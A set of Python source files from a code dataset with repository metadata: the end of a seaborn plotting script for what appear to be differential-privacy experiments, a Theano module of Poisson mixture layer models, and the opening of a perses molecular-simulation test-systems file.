['1','5','10','20'] axes[3].set_xticklabels(labels) axes[3].set_ylim(0,200) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('Falloff Factor') ax.set_ylabel('') axes[0].set_ylabel('Result') axes[0].axhline(97.765,color="blue",zorder=10) axes[1].axhline(19553.0,color="blue",zorder=10) axes[2].axhline(28.0,color="blue",zorder=10) axes[3].axhline(170.0,color="blue",zorder=10) f.set_size_inches( 10.4, 3) f.show() f.savefig("plots/falloff_factor.pdf",format="pdf") return def plot_extension_impact(data): avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)] sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)] min_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)] max_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['NoOfValues']==200.0)] f, axes = plt.subplots(nrows=1, ncols=4,constrained_layout=True) sns.boxplot(x="Extension Factor", y="Result", data=avg_df, color="lightblue",ax=axes[0]) axes[0].set_title('Mean') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['w/o','15%','30%'] axes[0].set_xticklabels(labels) axes[0].set_ylim(-30,230) sns.boxplot(x="Extension Factor", y="Result", data=sum_df, color="lightblue",ax=axes[1]) axes[1].set_title('Sum') labels = [item.get_text() for item in axes[1].get_xticklabels()] labels = ['w/o','15%','30%'] axes[1].set_xticklabels(labels) axes[1].set_ylim(-600,40600) sns.boxplot(x="Extension Factor", y="Result", data=min_df, color="lightblue",ax=axes[2]) axes[2].set_title('Min') labels = [item.get_text() for item in axes[2].get_xticklabels()] labels = ['w/o','15%','30%'] axes[2].set_xticklabels(labels) axes[2].set_ylim(-30,230) sns.boxplot(x="Extension Factor", y="Result", data=max_df, color="lightblue",ax=axes[3]) axes[3].set_title('Max') labels = [item.get_text() for item in axes[3].get_xticklabels()] labels = ['w/o','15%','30%'] axes[3].set_xticklabels(labels) axes[3].set_ylim(-30,230) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_ylabel('') ax.set_xlabel('Extension Factor') axes[0].set_ylabel('Result') axes[0].axhline(97.765,color="blue",zorder=10) axes[1].axhline(19553.0,color="blue",zorder=10) axes[2].axhline(28.0,color="blue",zorder=10) axes[3].axhline(170.0,color="blue",zorder=10) f.set_size_inches( 10.4, 3) f.show() f.savefig("plots/extension_factor.pdf",format="pdf") return def plot_no_of_values_impact(data): avg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_lap') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)] bavg_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Avg_exp')& (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="NoOfValues", y="Result", data=avg_df, color="lightblue",ax=axes[0]) axes[0].set_title('Laplace ') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['10','50','100','200'] axes[0].set_xticklabels(labels) axes[0].set_ylim(0,200) sns.boxplot(x="NoOfValues", y="Result", data=bavg_df, color="lightblue",ax=axes[1]) axes[1].set_title('Interval') labels = [item.get_text() for item in axes[1].get_xticklabels()] labels = ['10','50','100','200'] axes[1].set_xticklabels(labels) axes[1].set_ylim(0,200) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('No of Values') ax.set_ylabel('') axes[0].set_ylabel('Result') ax.axhline(89.8,xmin=0,xmax=0.25,color="blue",zorder=10) ax.axhline(96.14,xmin=0.25,xmax=0.5,color="blue",zorder=10) ax.axhline(95.34,xmin=0.5,xmax=0.75,color="blue",zorder=10) ax.axhline(97.765,xmin=0.75,xmax=1.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.savefig("plots/noOfValues_mean.pdf",format="pdf") f.show() sum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_lap') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)] bsum_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Sum_exp')& (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="NoOfValues", y="Result", data=sum_df, color="lightblue",ax=axes[0]) axes[0].set_title('Laplace') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['10','50','100','200'] axes[0].set_xticklabels(labels) axes[0].set_ylim(0,40000) sns.boxplot(x="NoOfValues", y="Result", data=bsum_df, color="lightblue",ax=axes[1]) axes[1].set_title('Interval') labels = [item.get_text() for item in axes[1].get_xticklabels()] labels = ['10','50','100','200'] axes[1].set_xticklabels(labels) axes[1].set_ylim(0,40000) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('No of Values') ax.set_ylabel('') axes[0].set_ylabel('Result') ax.axhline(898.0,xmin=0,xmax=0.25,color="blue",zorder=10) ax.axhline(4807.0,xmin=0.25,xmax=0.5,color="blue",zorder=10) ax.axhline(9534.0,xmin=0.5,xmax=0.75,color="blue",zorder=10) ax.axhline(19553.0,xmin=0.75,xmax=1.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.savefig("plots/noOfValues_sum.pdf",format="pdf") f.show() return def plot_distribution_impact(data): min_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)] max_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='gaussian') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="NoOfValues", y="Result", data=min_exp_df, color="lightblue",ax=axes[0]) axes[0].set_title('Min') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['10','50','100','200'] axes[0].set_xticklabels(labels) axes[0].set_ylim(0,200) sns.boxplot(x="NoOfValues", y="Result", data=max_exp_df, color="lightblue",ax=axes[1]) axes[1].set_title('Max') labels = [item.get_text() for item in axes[1].get_xticklabels()] labels = ['10','50','100','200'] axes[1].set_xticklabels(labels) axes[1].set_ylim(0,200) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('No of Values') ax.set_ylabel('') axes[0].set_ylabel('Result') axes[0].axhline(28,xmin=0,xmax=0.25,color="blue",zorder=10) axes[0].axhline(28,xmin=0.25,xmax=0.5,color="blue",zorder=10) axes[0].axhline(28,xmin=0.5,xmax=0.75,color="blue",zorder=10) axes[0].axhline(28,xmin=0.75,xmax=1.0,color="blue",zorder=10) axes[1].axhline(147,xmin=0,xmax=0.25,color="blue",zorder=10) axes[1].axhline(170,xmin=0.25,xmax=0.5,color="blue",zorder=10) axes[1].axhline(170,xmin=0.5,xmax=0.75,color="blue",zorder=10) axes[1].axhline(170,xmin=0.75,xmax=1.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.tight_layout() f.show() f.savefig("plots/noOfValues_minmax_gaussian.pdf",format="pdf") min_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='pareto') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)] max_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='pareto') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="NoOfValues", y="Result", data=min_exp_df, color="lightblue",ax=axes[0]) axes[0].set_title('Min') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['10','50','100','200'] axes[0].set_xticklabels(labels) axes[0].set_ylim(-49,250) sns.boxplot(x="NoOfValues", y="Result", data=max_exp_df, color="lightblue",ax=axes[1]) axes[1].set_title('Max') labels = [item.get_text() for item in axes[1].get_xticklabels()] labels = ['10','50','100','200'] axes[1].set_xticklabels(labels) axes[1].set_ylim(-49,250) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('No of Values') ax.set_ylabel('') axes[0].set_ylabel('Result') axes[0].axhline(10,xmin=0,xmax=0.25,color="blue",zorder=10) axes[0].axhline(10,xmin=0.25,xmax=0.5,color="blue",zorder=10) axes[0].axhline(10,xmin=0.5,xmax=0.75,color="blue",zorder=10) axes[0].axhline(10,xmin=0.75,xmax=1.0,color="blue",zorder=10) axes[1].axhline(100,xmin=0,xmax=0.25,color="blue",zorder=10) axes[1].axhline(100,xmin=0.25,xmax=0.5,color="blue",zorder=10) axes[1].axhline(212,xmin=0.5,xmax=0.75,color="blue",zorder=10) axes[1].axhline(212,xmin=0.75,xmax=1.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.tight_layout() f.show() f.savefig("plots/noOfValues_minmax_pareto.pdf",format="pdf") min_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='poisson') & (data['Method']=='Min_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)] max_exp_df = data.loc[(data['Epsilon']==0.1) & (data['Distribution']=='poisson') & (data['Method']=='Max_exp') & (data['Falloff Factor']==20) &(data['Target']==-100) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="NoOfValues", y="Result", data=min_exp_df, color="lightblue",ax=axes[0]) axes[0].set_title('Min') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['10','50','100','200'] axes[0].set_xticklabels(labels) axes[0].set_ylim(-2,17.5) sns.boxplot(x="NoOfValues", y="Result", data=max_exp_df, color="lightblue",ax=axes[1]) axes[1].set_title('Max') labels = [item.get_text() for item in axes[0].get_xticklabels()] labels = ['10','50','100','200'] axes[1].set_xticklabels(labels) axes[1].set_ylim(-2,17.5) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('No of Values') ax.set_ylabel('') axes[0].set_ylabel('Result') axes[0].axhline(1,xmin=0,xmax=0.25,color="blue",zorder=10) axes[0].axhline(0,xmin=0.25,xmax=0.5,color="blue",zorder=10) axes[0].axhline(0,xmin=0.5,xmax=0.75,color="blue",zorder=10) axes[0].axhline(0,xmin=0.75,xmax=1.0,color="blue",zorder=10) axes[1].axhline(8,xmin=0,xmax=0.25,color="blue",zorder=10) axes[1].axhline(10,xmin=0.25,xmax=0.5,color="blue",zorder=10) axes[1].axhline(10,xmin=0.5,xmax=0.75,color="blue",zorder=10) axes[1].axhline(14,xmin=0.75,xmax=1.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.tight_layout() f.show() f.savefig("plots/noOfValues_minmax_poisson.pdf",format="pdf") return def plot_sum_comparison(data): sum_lap_df = data.loc[(data['Distribution']=='gaussian')& (data['Method']=='Sum_lap') & (data['Falloff Factor']==20) &(data['Target']==19453.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] sum_exp_df = data.loc[(data['Distribution']=='gaussian')& (data['Method']=='Sum_exp') & (data['Falloff Factor']==20) &(data['Target']==19453.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="Epsilon", y="Result", data=sum_lap_df, color="lightblue",ax=axes[0]) axes[0].set_title('Laplace') axes[0].set_ylim(0,40000) sns.boxplot(x="Epsilon", y="Result", data=sum_exp_df, color="lightblue",ax=axes[1]) axes[1].set_title('Interval') axes[1].set_ylim(0,40000) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('Epsilon') ax.set_ylabel('') axes[0].set_ylabel('Result') ax.axhline(19553.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.show() f.savefig("plots/comparison_sum.pdf",format="pdf") return def plot_avg_comparison(data): sum_lap_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Avg_lap') & (data['Falloff Factor']==20) &(data['Target']==87.765) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] sum_exp_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Avg_exp') & (data['Falloff Factor']==20) &(data['Target']==87.765) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="Epsilon", y="Result", data=sum_lap_df, color="lightblue",ax=axes[0]) axes[0].set_title('Laplace') axes[0].set_ylim(0,200) sns.boxplot(x="Epsilon", y="Result", data=sum_exp_df, color="lightblue",ax=axes[1]) axes[1].set_title('Interval') axes[1].set_ylim(0,200) for ax in axes: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('Epsilon') ax.set_ylabel('') axes[0].set_ylabel('Result') ax.axhline(97.765,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.show() f.savefig("plots/comparison_mean.pdf",format="pdf") return def plot_minmax_comparison(data): min_lap_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Min_lap') & (data['Falloff Factor']==10) & (data['Target']==18.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] min_exp_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Min_exp') & (data['Falloff Factor']==10) & (data['Target']==18.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="Epsilon", y="Result", data=min_lap_df, color="lightblue",ax=axes[0]) axes[0].set_title('Laplace') axes[0].set_ylim(0,200) sns.boxplot(x="Epsilon", y="Result", data=min_exp_df, color="lightblue",ax=axes[1]) axes[1].set_title('Interval') axes[1].set_ylim(0,200) for ax in axes.flat: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('Epsilon') ax.set_ylabel('') axes[0].set_ylabel('Result') ax.axhline(28.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.show() f.savefig("plots/comparison_min.pdf",format="pdf") max_lap_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Max_lap') & (data['Falloff Factor']==10) & (data['Target']==180.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] max_exp_df = data.loc[(data['Distribution']=='gaussian') & (data['Method']=='Max_exp') & (data['Falloff Factor']==10) & (data['Target']==180.0) & (data['BoundEstimation']=='extend') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] f, axes = plt.subplots(nrows=1, ncols=2,constrained_layout=True) sns.boxplot(x="Epsilon", y="Result", data=max_lap_df, color="lightblue",ax=axes[0]) axes[0].set_title('Laplace') axes[0].set_ylim(0,200) sns.boxplot(x="Epsilon", y="Result", data=max_exp_df, color="lightblue",ax=axes[1]) axes[1].set_title('Interval') axes[1].set_ylim(0,200) for ax in axes.flat: ax.tick_params(axis='x',labelrotation=90) ax.tick_params(axis='both', which='major') ax.set_xlabel('Epsilon') ax.set_ylabel('') axes[0].set_ylabel('Result') ax.axhline(170.0,color="blue",zorder=10) f.set_size_inches( 5.2, 3) f.show() f.savefig("plots/comparison_max.pdf",format="pdf") return def plot_derived_comparison(data): epsilon_df = data.loc[(data['Distribution']=='binary') & (data['Method']=='Percentage') & (data['Falloff Factor']==20.0) &(data['Target']==-100.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3) & (data['NoOfValues']==200.0)] no_of_values_df = data.loc[(data['Distribution']=='binary') & (data['Method']=='Percentage') & (data['Falloff Factor']==20.0) &(data['Target']==-100.0) & (data['BoundEstimation']=='minmax') & (data['Extension Factor']==1.3)& (data['Epsilon']==0.1)] f, axes = plt.subplots(nrows=1, ncols=1,constrained_layout=True) sns.boxplot(x="Epsilon", y="Result", data=epsilon_df, color="lightblue") axes.set_title('Sample-and-Aggregate') axes.tick_params(axis='x',labelrotation=90) axes.tick_params(axis='both', which='major') axes.set_xlabel('Epsilon') axes.set_ylabel('Result') axes.axhline(50.0,color="blue",zorder=10) axes.set_ylim(-1,101) #for ax in axes: axes.tick_params(labelrotation=90) f.set_size_inches( 3, 3) f.show() f.savefig("plots/derived_epsilon.pdf",format="pdf") f, axes = plt.subplots(nrows=1, ncols=1,constrained_layout=True) sns.boxplot(x="NoOfValues", y="Result", data=no_of_values_df, color="lightblue") axes.set_title('Sample-and-Aggregate') axes.tick_params(axis='x',labelrotation=90) axes.tick_params(axis='both', which='major') axes.set_xlabel('No of Values') axes.set_ylabel('Result') axes.axhline(50.0,color="blue",zorder=10) axes.set_ylim(-1,101) #for ax in axes: axes.tick_params(labelrotation=90) fig = plt.gcf() f.set_size_inches( 3,3) f.show() f.savefig("plots/derived_noOfValues.pdf",format="pdf") if __name__ == "__main__": main()

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null

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7

c01c84f120d7635edca82aedbe845125fb20f348

8,957

py

Python

classes/model/layermodels/poisson_theano.py

dennisforster/NeSi

db59d24ae87167ea2817bba0c65aae732c9a3bbe

[ "AFL-3.0" ]

1

2021-07-30T16:17:26.000Z

classes/model/layermodels/poisson_theano.py

dennisforster/NeSi

db59d24ae87167ea2817bba0c65aae732c9a3bbe

[ "AFL-3.0" ]

null

classes/model/layermodels/poisson_theano.py

dennisforster/NeSi

db59d24ae87167ea2817bba0c65aae732c9a3bbe

[ "AFL-3.0" ]

1

2016-08-06T10:55:08.000Z

# Copyright (C) 2015, Dennis Forster <forster@fias.uni-frankfurt.de> # # LICENSE: THE SOFTWARE IS PROVIDED "AS IS" UNDER THE # ACADEMIC FREE LICENSE (AFL) v3.0. # import theano import theano.tensor as T import numpy as np from _layermodels import LayerModel from utils.decorators import DocInherit doc_inherit = DocInherit #------------------------------------------------------------------------------ class Poisson(LayerModel): """(FF-)Mixture of Poisson layer for theano calculation""" def __init__(self, C, D): self.W = theano.shared(np.ones((C,D), dtype='float32')) t_eps = T.scalar('epsilon', dtype='float32') t_Y = T.vector('Y', dtype='float32') t_I = T.vector('I', dtype='float32') t_s = T.vector('s', dtype='float32') self.input_integration = theano.function( [t_Y], T.dot(T.log(self.W),t_Y), allow_input_downcast=True ) self.softmax = theano.function( [t_I], T.exp(t_I)/T.sum(T.exp(t_I)), allow_input_downcast=True ) self.weight_update = theano.function( [t_Y,t_s,t_eps], self.W, updates={ self.W: self.W + t_eps*(T.outer(t_s,t_Y) - t_s[:,np.newaxis]*self.W) }, allow_input_downcast=True ) self.epsilon = None self._Y = None self._s = None @doc_inherit def feed(self, layer, multilayer, input_data, input_label, mode=''): self._Y = input_data I = self.input_integration(self._Y) self._s = self.softmax(I-self._scale(I)) return @doc_inherit def update(self): self.weight_update(self._Y,self._s,self.epsilon) return @doc_inherit def activation(self): return self._s @doc_inherit def set_weights(self, W): self.W.set_value(np.asarray(W, dtype='float32')) @doc_inherit def get_weights(self): return self.W.get_value() def _scale(self, I): # overflow fix for softmax-function # over/underflow in sum(T.exp(x)) (float32) for approximately # x > 88-ln(D) or x < -87 scale = 0 max = 88 - np.log(I.shape[0]) min = 87 if (I[np.argmax(I)] > max ): scale = I[np.argmax(I)] - max if (I[np.argmin(I)] < -min + scale): I[np.argmin(I)] = -min + scale return scale #------------------------------------------------------------------------------ class Poisson_Recurrent(LayerModel): """Recurrent Mixture of Poisson layer for theano calculation""" def __init__(self, C, D): self.W = theano.shared(np.ones((C,D), dtype='float32')) t_M = T.matrix('M', dtype='float32') t_vM = T.vector('M', dtype='float32') t_Y = T.vector('Y', dtype='float32') t_I = T.vector('I', dtype='float32') t_s = T.vector('s', dtype='float32') t_eps = T.scalar('epsilon', dtype='float32') self.input_integration = theano.function( [t_Y], T.dot(T.log(self.W),t_Y), allow_input_downcast=True ) self.M_summation = theano.function( [t_M], T.sum(t_M, axis=0), allow_input_downcast=True ) self.recurrent_softmax = theano.function( [t_I,t_vM], t_vM*T.exp(t_I)/T.sum(t_vM*T.exp(t_I)), allow_input_downcast=True ) self.weight_update = theano.function( [t_Y,t_s,t_eps], self.W, updates={ self.W: self.W + t_eps*(T.outer(t_s,t_Y) - t_s[:,np.newaxis]*self.W) }, allow_input_downcast=True ) self.epsilon = None self._Y = None self._s = None @doc_inherit def feed(self, layer, multilayer, input_data, input_label, mode=''): if (input_label == -1): # TODO: maybe build theano function using the shared weights # of the upper layer vM = self.M_summation(multilayer.Layer[ int(layer.get_inputsource()[1][15]) ].get_weights()) # vM = np.sum(multilayer.Layer[ # int(layer.get_inputsource()[1][15]) # ].get_weights(),axis=0) else: vM = multilayer.Layer[ int(layer.get_inputsource()[1][15]) ].get_weights()[input_label,:] self._Y = input_data I = self.input_integration(self._Y) self._s = self.recurrent_softmax(I-self._scale(I), vM) return @doc_inherit def update(self): self.weight_update(self._Y,self._s,self.epsilon) return @doc_inherit def activation(self): return self._s @doc_inherit def set_weights(self, W): self.W.set_value(np.asarray(W, dtype='float32')) @doc_inherit def get_weights(self, borrow_=False): return self.W.get_value(borrow=borrow_) def _scale(self, I): # overflow fix for softmax-function # over/underflow in sum(T.exp(x)) (float32) for approximately # x > 88-ln(D) or x < -87 scale = 0 max = 88 - np.log(I.shape[0]) min = 87 if (I[np.argmax(I)] > max ): scale = I[np.argmax(I)] - max if (I[np.argmin(I)] < -min + scale): I[np.argmin(I)] = -min + scale return scale #------------------------------------------------------------------------------ class Poisson_Recurrent_Filter(LayerModel): """Recurrent Mixture of Poisson layer for theano calculation""" def __init__(self, C, D): self.W = theano.shared(np.ones((C,D), dtype='float32')) t_M = T.matrix('M', dtype='float32') t_vM = T.vector('M', dtype='float32') t_Y = T.vector('Y', dtype='float32') t_I = T.vector('I', dtype='float32') t_s = T.vector('s', dtype='float32') t_eps = T.scalar('epsilon', dtype='float32') self.input_integration = theano.function( [t_Y], T.dot(T.log(self.W),t_Y), allow_input_downcast=True ) self.M_summation = theano.function( [t_M], T.sum(t_M, axis=0), allow_input_downcast=True ) self.recurrent_softmax = theano.function( [t_I,t_vM], t_vM*T.exp(t_I)/T.sum(t_vM*T.exp(t_I)), allow_input_downcast=True ) self.weight_update = theano.function( [t_Y,t_s,t_eps], self.W, updates={ self.W: self.W + 0*t_eps*(T.outer(t_s,t_Y) - t_s[:,np.newaxis]*self.W) }, allow_input_downcast=True ) self.epsilon = None self._Y = None self._s = None self._count = 0 self._ssum = np.zeros((10000)) @doc_inherit def feed(self, layer, multilayer, input_data, input_label, mode=''): if (input_label == -1): # TODO: maybe build theano function using the shared weights # of the upper layer vM = self.M_summation(multilayer.Layer[ int(layer.get_inputsource()[1][15]) ].get_weights()) # vM = np.sum(multilayer.Layer[ # int(layer.get_inputsource()[1][15]) # ].get_weights(),axis=0) else: vM = multilayer.Layer[ int(layer.get_inputsource()[1][15]) ].get_weights()[input_label,:] self._Y = input_data I = self.input_integration(self._Y) self._s = self.recurrent_softmax(I-self._scale(I), vM) self._count += 1 self._ssum += self._s if self._count == 60000: mask = np.where(self._ssum < 10.) print len(mask[0]) filtered_W = self.W.get_value() filtered_W[mask] = np.zeros_like(filtered_W[mask]) self.W.set_value(filtered_W) return @doc_inherit def update(self): self.weight_update(self._Y,self._s,self.epsilon) return @doc_inherit def activation(self): return self._s @doc_inherit def set_weights(self, W): self.W.set_value(np.asarray(W, dtype='float32')) @doc_inherit def get_weights(self, borrow_=False): return self.W.get_value(borrow=borrow_) def _scale(self, I): # overflow fix for softmax-function # over/underflow in sum(T.exp(x)) (float32) for approximately # x > 88-ln(D) or x < -87 scale = 0 max = 88 - np.log(I.shape[0]) min = 87 if (I[np.argmax(I)] > max ): scale = I[np.argmax(I)] - max if (I[np.argmin(I)] < -min + scale): I[np.argmin(I)] = -min + scale return scale

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1

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null

0

1

0

8

220ff7b82fd3cf94a356b35a801d710b9e444338

118,256

py

Python

perses/tests/testsystems.py

robbason/perses

33a6b4c41da2414c727c7980cb400d6402b24f3d

[ "MIT" ]

null

perses/tests/testsystems.py

robbason/perses

33a6b4c41da2414c727c7980cb400d6402b24f3d

[ "MIT" ]

null

perses/tests/testsystems.py

robbason/perses

33a6b4c41da2414c727c7980cb400d6402b24f3d

[ "MIT" ]

null

from __future__ import print_function """ Test systems for perses automated design. Examples -------- Alanine dipeptide in various environments (vacuum, implicit, explicit): >>> from perses.tests.testsystems import AlaninDipeptideSAMS >>> testsystem = AlanineDipeptideTestSystem() >>> system_generator = testsystem.system_generator['explicit'] >>> sams_sampler = testsystem.sams_sampler['explicit'] TODO ---- * Have all PersesTestSystem subclasses automatically subjected to a battery of tests. * Add short descriptions to each class through a class property. """ # TODO: Use inexpensive charging methods for small molecules in tests __author__ = 'John D. Chodera' ################################################################################ # IMPORTS ################################################################################ from simtk import openmm, unit from simtk.openmm import app import os import os.path import numpy as np from functools import partial from openeye import oechem from openmmtools import states from openmmtools.mcmc import MCMCSampler, LangevinSplittingDynamicsMove from perses.utils.smallmolecules import sanitizeSMILES, canonicalize_SMILES from perses.storage import NetCDFStorage, NetCDFStorageView from perses.rjmc.topology_proposal import OESMILES_OPTIONS from perses.rjmc.geometry import FFAllAngleGeometryEngine import tempfile import copy from perses.dispersed.utils import minimize from openmmtools.states import ThermodynamicState, SamplerState from openmmforcefields.generators import SystemGenerator from openforcefield.topology import Molecule from perses.utils.openeye import smiles_to_oemol #global variables forcefield_files = ['amber14/protein.ff14SB.xml', 'amber14/tip3p.xml'] small_molecule_forcefield = 'gaff-2.11' # TODO: Use dummy system generator to work around SystemGenerator issues #from perses.rjmc.topology_proposal import DummySystemGenerator #SystemGenerator = DummySystemGenerator ################################################################################ # TEST SYSTEMS ################################################################################ running_on_github_actions = os.environ.get('GITHUB_ACTIONS', None) == 'true' class PersesTestSystem(object): """ Create a consistent set of samplers useful for testing. Properties ---------- environments : list of str Available environments topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler """ def __init__(self, storage_filename=None, mode='w', ncmc_nsteps=5, mcmc_nsteps=100): """Create a testsystem. Parameters ---------- storage_filename : str, optional, default=None If specified, bind to this storage file. mode : str, optional, default='w' File open mode, 'w' for (over)write, 'a' for append. """ self.storage = None if storage_filename is not None: self.storage = NetCDFStorage(storage_filename, mode='w') self.environments = list() self.topologies = dict() self.positions = dict() self.system_generators = dict() self.proposal_engines = dict() self.thermodynamic_states = dict() self.mcmc_samplers = dict() self.exen_samplers = dict() self.sams_samplers = dict() self.designer = None self.geometry_engine = FFAllAngleGeometryEngine(metadata={}) self._splitting = "V R O R V" self._timestep = 1.0*unit.femtosecond self._ncmc_nsteps = ncmc_nsteps self._mcmc_nsteps = mcmc_nsteps self._move = LangevinSplittingDynamicsMove(timestep=self._timestep, splitting=self._splitting, n_restart_attempts=10) self._move.n_restart_attempts = 10 class AlanineDipeptideTestSystem(PersesTestSystem): """ Create a consistent set of SAMS samplers useful for testing PointMutationEngine on alanine dipeptide in various solvents. This is useful for testing a variety of components. Properties ---------- environments : list of str Available environments: ['vacuum', 'explicit'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for implicit 